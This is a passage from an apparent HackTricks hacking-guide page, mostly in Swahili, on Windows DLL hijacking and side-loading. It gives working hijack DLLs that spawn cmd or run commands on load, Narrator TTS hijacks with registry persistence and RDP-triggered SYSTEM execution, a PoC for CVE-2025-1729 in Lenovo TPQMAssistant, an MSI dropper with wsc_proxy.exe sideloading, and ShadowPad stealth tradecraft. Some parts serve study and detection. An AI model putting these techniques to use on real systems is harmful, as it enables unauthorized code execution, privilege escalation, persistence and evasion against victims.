#include<windows.h> #include<stdlib.h> #include<stdio.h>

void Entry (){ //Default function that is executed when the DLL is loaded system(“cmd”); }

BOOL APIENTRY DllMain (HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved) { switch (ul_reason_for_call){ case DLL_PROCESS_ATTACH: CreateThread(0,0, (LPTHREAD_START_ROUTINE)Entry,0,0,0); break; case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DEATCH: break; } return TRUE; }

</details>

## Somo la Kesi: Narrator OneCore TTS Localization DLL Hijack (Accessibility/ATs)

Windows Narrator.exe bado inachunguza DLL ya localization inayoweza kutabirika na maalum kwa lugha wakati wa kuanza ambayo inaweza ku-hijacked kwa ajili ya arbitrary code execution na persistence.

Key facts
- Probe path (current builds): `%windir%\System32\speech_onecore\engines\tts\msttsloc_onecoreenus.dll` (EN-US).
- Legacy path (older builds): `%windir%\System32\speech\engine\tts\msttslocenus.dll`.
- If a writable attacker-controlled DLL exists at the OneCore path, it is loaded and `DllMain(DLL_PROCESS_ATTACH)` executes. No exports are required.

Discovery with Procmon
- Filter: `Process Name is Narrator.exe` and `Operation is Load Image` or `CreateFile`.
- Start Narrator and observe the attempted load of the above path.

DLL ya chini kabisa
```c
// Build as msttsloc_onecoreenus.dll and place in the OneCore TTS path
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
// Optional OPSEC: DisableThreadLibraryCalls(h);
// Suspend/quiet Narrator main thread, then run payload
// (see PoC for implementation details)
}
return TRUE;
}

OPSEC silence

• Hijack ya kimsingi itataja/itaangazia UI. Ili kubaki kimya, on attach orodhesha threads za Narrator, fungua thread kuu (OpenThread(THREAD_SUSPEND_RESUME)) na SuspendThread ili; endelea katika thread yako mwenyewe. Angalia PoC kwa msimbo kamili.

Trigger and persistence via Accessibility configuration

• User context (HKCU): reg add "HKCU\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• Winlogon/SYSTEM (HKLM): reg add "HKLM\Software\Microsoft\Windows NT\CurrentVersion\Accessibility" /v configuration /t REG_SZ /d "Narrator" /f
• Kwa hayo hapo juu, kuanzisha Narrator huchoma DLL iliyopandwa. Katika secure desktop (logon screen), bonyeza CTRL+WIN+ENTER kuanzisha Narrator.

RDP-triggered SYSTEM execution (lateral movement)

• Allow classic RDP security layer: reg add "HKLM\System\CurrentControlSet\Control\Terminal Server\WinStations\RDP-Tcp" /v SecurityLayer /t REG_DWORD /d 0 /f
• Fanya RDP kwenye host, kwenye logon screen bonyeza CTRL+WIN+ENTER kuanzisha Narrator; DLL yako itaendeshwa kama SYSTEM kwenye secure desktop.
• Utekelezaji unasimama wakati kikao cha RDP kinapofungwa—ingiza/hamisha haraka.

Bring Your Own Accessibility (BYOA)

• Unaweza kunakili registry entry ya built-in Accessibility Tool (AT) (mfano, CursorIndicator), uibadilishe ili iendeleze kwa binary/DLL yoyote, uirudishe (import), kisha weka configuration kwa jina la AT hiyo. Hii inaruhusu utekelezaji wowote kupitia mfumo wa Accessibility.

Notes

• Kuandika chini ya %windir%\System32 na kubadilisha thamani za HKLM kunahitaji haki za admin.
• Mantiki yote ya payload inaweza kuishi katika DLL_PROCESS_ATTACH; hakuna exports zinazohitajika.

Case Study: CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe

Somo hili linaonyesha Phantom DLL Hijacking katika Lenovo’s TrackPoint Quick Menu (TPQMAssistant.exe), iliyosajiliwa kama CVE-2025-1729.

Vulnerability Details

• Component: TPQMAssistant.exe iliyopo katika C:\ProgramData\Lenovo\TPQM\Assistant\.
• Scheduled Task: Lenovo\TrackPointQuickMenu\Schedule\ActivationDailyScheduleTask inafanya kazi kila siku saa 9:30 AM chini ya muktadha wa mtumiaji aliyesajiliwa.
• Directory Permissions: Inaundelevu kuwa Writable by CREATOR OWNER, ikiruhusu watumiaji wa ndani kuacha mafaili yoyote.
• DLL Search Behavior: Inajaribu kupakia hostfxr.dll kutoka directory yake ya kazi kwanza na inarekodi “NAME NOT FOUND” ikiwa haipo, ikionyesha upendeleo wa kutafuta kwenye directory ya ndani.

Exploit Implementation

Mshambuliaji anaweza kuweka stub ya hostfxr.dll yenye madhara katika directory hiyo hiyo, akitumia DLL iliyokosekana kupata utekelezaji wa msimbo chini ya muktadha wa mtumiaji:

#include <windows.h>

BOOL APIENTRY DllMain(HMODULE hModule, DWORD fdwReason, LPVOID lpReserved) {
if (fdwReason == DLL_PROCESS_ATTACH) {
// Payload: display a message box (proof-of-concept)
MessageBoxA(NULL, "DLL Hijacked!", "TPQM", MB_OK);
}
return TRUE;
}

Mtiririko wa Shambulio

1. Kama mtumiaji wa kawaida, weka hostfxr.dll ndani ya C:\ProgramData\Lenovo\TPQM\Assistant\.
2. Subiri kazi iliyopangwa ifanye kazi saa 9:30 AM chini ya muktadha wa mtumiaji wa sasa.
3. Ikiwa msimamizi ameingia wakati kazi inatekelezwa, DLL yenye madhara itaendesha katika kikao cha msimamizi kwa medium integrity.
4. Unganisha mbinu za kawaida za UAC bypass ili kuinua kutoka medium integrity hadi vibali vya SYSTEM.

Somo la Kesi: MSI CustomAction Dropper + DLL Side-Loading via Signed Host (wsc_proxy.exe)

Waovaji wa vitisho mara nyingi huambatanisha MSI-based droppers na DLL side-loading ili kutekeleza payload chini ya mchakato uliothibitishwa na uliosainiwa.

Muhtasari wa mnyororo

• Mtumiaji anapakua MSI. CustomAction inafanya kazi kimya wakati wa ufungaji wa GUI (kwa mfano, LaunchApplication au vitendo vya VBScript), ikirekebisha awamu inayofuata kutoka kwa rasilimali zilizojumuishwa.
• Dropper inaandika EXE halali, iliyotiwa saini na DLL yenye madhara kwenye saraka hiyo hiyo (mfano: Avast-signed wsc_proxy.exe + attacker-controlled wsc.dll).
• Unapoanza EXE iliyosainiwa, mpangilio wa utafutaji wa DLL wa Windows huipakia wsc.dll kutoka kwenye saraka ya kazi kwanza, ikitekeleza msimbo wa mshambulizi chini ya mzazi aliyesainiwa (ATT&CK T1574.001).

Uchambuzi wa MSI (vitu vya kuangalia)

• Jedwali la CustomAction:
• Tafuta vipengele vinavyoendesha programu zinazotekelezwa au VBScript. Mfano wa muundo unaoshuku: LaunchApplication inayotekeleza faili iliyojumuishwa kwa siri (background).
• Katika Orca (Microsoft Orca.exe), angalia jedwali la CustomAction, InstallExecuteSequence na Binary.
• Payload zilizojumuishwa/ zilizogawanywa ndani ya MSI CAB:
• Kutoa kwa msimamizi: msiexec /a package.msi /qb TARGETDIR=C:\out
• Au tumia lessmsi: lessmsi x package.msi C:\out
• Tafuta vipande vingi vidogo vinavyounganishwa na kufunguliwa (decrypted) na CustomAction ya VBScript. Mtiririko wa kawaida:

' VBScript CustomAction (high level)
' 1) Read multiple fragment files from the embedded CAB (e.g., f0.bin, f1.bin, ...)
' 2) Concatenate with ADODB.Stream or FileSystemObject
' 3) Decrypt using a hardcoded password/key
' 4) Write reconstructed PE(s) to disk (e.g., wsc_proxy.exe and wsc.dll)

Practical sideloading with wsc_proxy.exe

• Weka faili hizi mbili katika folda moja:
• wsc_proxy.exe: host halali uliosainiwa (Avast). Mchakato unajaribu kupakia wsc.dll kwa jina kutoka kwenye saraka yake.
• wsc.dll: attacker DLL. Ikiwa hakuna exports maalum zinazohitajika, DllMain inaweza kutosha; vinginevyo, jenga proxy DLL na peleka exports zinazohitajika kwa maktaba halisi wakati ukikimbiza payload ndani ya DllMain.
• Jenga payload ndogo ya DLL:

// x64: x86_64-w64-mingw32-gcc payload.c -shared -o wsc.dll
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD r, LPVOID) {
if (r == DLL_PROCESS_ATTACH) {
WinExec("cmd.exe /c whoami > %TEMP%\\wsc_sideload.txt", SW_HIDE);
}
return TRUE;
}

• Kwa mahitaji ya export, tumia framework ya proxy (mfano, DLLirant/Spartacus) ili kutengeneza DLL ya forwarding ambayo pia inatekeleza payload yako.

• Mbinu hii inategemea utatuzi wa majina ya DLL na binary ya host. Ikiwa host inatumia absolute paths au safe loading flags (mfano, LOAD_LIBRARY_SEARCH_SYSTEM32/SetDefaultDllDirectories), hijack inaweza kushindikana.

• KnownDLLs, SxS, na forwarded exports zinaweza kuathiri kipaumbele na lazima zizingatiwe wakati wa kuchagua host binary na export set.

Triadi zilizotiwa saini + payload zilizofichwa (ShadowPad case study)

Check Point ilielezea jinsi Ink Dragon inavyopeleka ShadowPad kwa kutumia triadi ya faili tatu ili kujificha ndani ya programu halali huku ikihifadhi payload ya msingi iliyofichwa kwenye diski:

1. EXE ya mwenyeji iliyosainiwa – wauzaji kama AMD, Realtek, au NVIDIA wanatumika vibaya (vncutil64.exe, ApplicationLogs.exe, msedge_proxyLog.exe). Wavamizi wanabadilisha jina la executable ili ionekane kama binary ya Windows (kwa mfano conhost.exe), lakini saini ya Authenticode inabaki halali.
2. DLL ya loader yenye madhara – imewekwa kando ya EXE kwa jina linalotarajiwa (vncutil64loc.dll, atiadlxy.dll, msedge_proxyLogLOC.dll). DLL hiyo kawaida ni binary ya MFC iliyofichwa kwa kutumia ScatterBrain framework; kazi yake pekee ni kupata blob iliyofichwa, kuidecrypt, na kuifanya reflectively map ShadowPad.
3. Encrypted payload blob – mara nyingi huhifadhiwa kama <name>.tmp katika saraka ileile. Baada ya memory-mapping payload iliyodecryptwa, loader inafuta faili la TMP kuvuruga ushahidi wa forensiki.

Tradecraft notes:

• Kubadilisha jina la EXE iliyosainiwa (wakati ukiweka OriginalFileName asili katika header ya PE) kumruhusu kujifanya kama binary ya Windows lakini ikahifadhi saini ya muuzaji, hivyo rudi tabia ya Ink Dragon ya kuacha binaries zinazoonekana kama conhost.exe ambazo kwa kweli ni utilities za AMD/NVIDIA.
• Kwa sababu executable inabaki kuaminika, controls nyingi za allowlisting zinahitaji tu DLL yako yenye madhara iwe kando yake. Lenga kubinafsisha loader DLL; parent iliyosainiwa kwa kawaida inaweza kukimbia bila kubadilishwa.
• Decryptor ya ShadowPad inatarajia blob la TMP liwe kando ya loader na liwe linayosomwa/kuandikwa ili liweze kufutwa (zero) faili baada ya mapping. Weka saraka iwe inayoweza kuandikwa hadi payload itakapopakiwa; mara ikija kwenye memory faili la TMP linaweza kufutwa kwa usalama kwa ajili ya OPSEC.

References

• CVE-2025-1729 - Privilege Escalation Using TPQMAssistant.exe
• Microsoft Store - TPQM Assistant UWP
• https://medium.com/@pranaybafna/tcapt-dll-hijacking-888d181ede8e
• https://cocomelonc.github.io/pentest/2021/09/24/dll-hijacking-1.html
• Check Point Research – Nimbus Manticore Deploys New Malware Targeting Europe
• TrustedSec – Hack-cessibility: When DLL Hijacks Meet Windows Helpers
• PoC – api0cradle/Narrator-dll
• Sysinternals Process Monitor
• Unit 42 – Digital Doppelgangers: Anatomy of Evolving Impersonation Campaigns Distributing Gh0st RAT
• Check Point Research – Inside Ink Dragon: Revealing the Relay Network and Inner Workings of a Stealthy Offensive Operation

Tip

Jifunze na fanya mazoezi ya AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Jifunze na fanya mazoezi ya GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Jifunze na fanya mazoezi ya Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Support HackTricks

• Angalia mpango wa usajili!
• Jiunge na 💬 kikundi cha Discord au kikundi cha telegram au tufuatilie kwenye Twitter 🐦 @hacktricks_live.
• Shiriki mbinu za hacking kwa kuwasilisha PRs kwa HackTricks na HackTricks Cloud repos za github.